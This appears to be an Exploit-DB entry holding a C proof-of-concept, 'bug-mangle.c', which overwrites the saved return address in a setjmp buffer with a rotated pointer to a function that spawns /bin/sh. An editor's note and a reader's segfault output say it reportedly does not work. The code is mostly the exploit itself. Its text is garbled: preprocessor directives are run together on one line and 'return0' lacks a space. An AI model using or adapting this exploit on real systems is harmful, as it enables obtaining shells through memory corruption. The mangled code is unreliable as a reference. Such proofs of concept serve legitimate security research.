/*
*
* Exploit-DB Note: Reportedly does not work. See output at the bottom of the entry.
*
* $FILE: bug-mangle.c
*
* Comment: Proof of concept
*
* $VERSION$
*
* Author: Hector Marco <hecmargi@upv.es>
* Ismael Ripoll <iripoll@disca.upv.es>
*
* $LICENSE:
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the
* GNU General Public License formore details.
*
* You should have received a copy of the GNU General Public License
* along with this program;if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
#include <stdio.h>#include <setjmp.h>#include <stdint.h>#include <limits.h>#ifdef __i386__#define ROTATE 0x9#define PC_ENV_OFFSET 0x14#elif __x86_64__#define ROTATE 0x11#define PC_ENV_OFFSET 0x38#else#error The exploit does not support this architecture#endif
unsigned long rol(uintptr_t value){return(value << ROTATE)|(value >>(__WORDSIZE - ROTATE));}
int hacked(){
printf("[+] hacked !!\n");
system("/bin/sh");}
int main(void){
jmp_buf env;
uintptr_t *ptr_ret_env =(uintptr_t*)(((uintptr_t)env) + PC_ENV_OFFSET);
printf("[+] Exploiting ...\n");
if(setjmp(env)==1){
printf("[-] Exploit failed.\n");return0;}
/*Overwrie envreturn address */
*ptr_ret_env = rol((uintptr_t)hacked);
longjmp(env, 1);
printf("[-] Exploit failed.\n");return0;}###################################################################################################################### Reader submitted results
/*
[522] user@his-system ~ $ ./POC
[+] Exploiting ...
Segmentation fault
[523] user@his-system ~ $ ldd POC
linux-vdso.so.1 =>(0x00007fffab5fd000)
libc.so.6 => /lib64/libc.so.6 (0x0000003269800000)
/lib64/ld-linux-x86-64.so.2 (0x0000003269400000)[525] user@his-system ~ $ uname-a
Linux his-sysrtem.domain.LOCAL 2.6.18-348.12.1.el5xen #1 SMP Mon Jul 1 17:58:32 EDT 2013 x86_64 x86_64 x86_64 GNU/Linux[526] user@his-system ~ $
[526] user@his-system ~ $ grep vsys /proc/self/maps
ffffffffff600000-ffffffffffe00000 ---p 00000000 00:00 0[vsyscall]
ffffffffff600000-ffffffffffe00000 ---p 00000000 00:00 0[vsyscall]
*/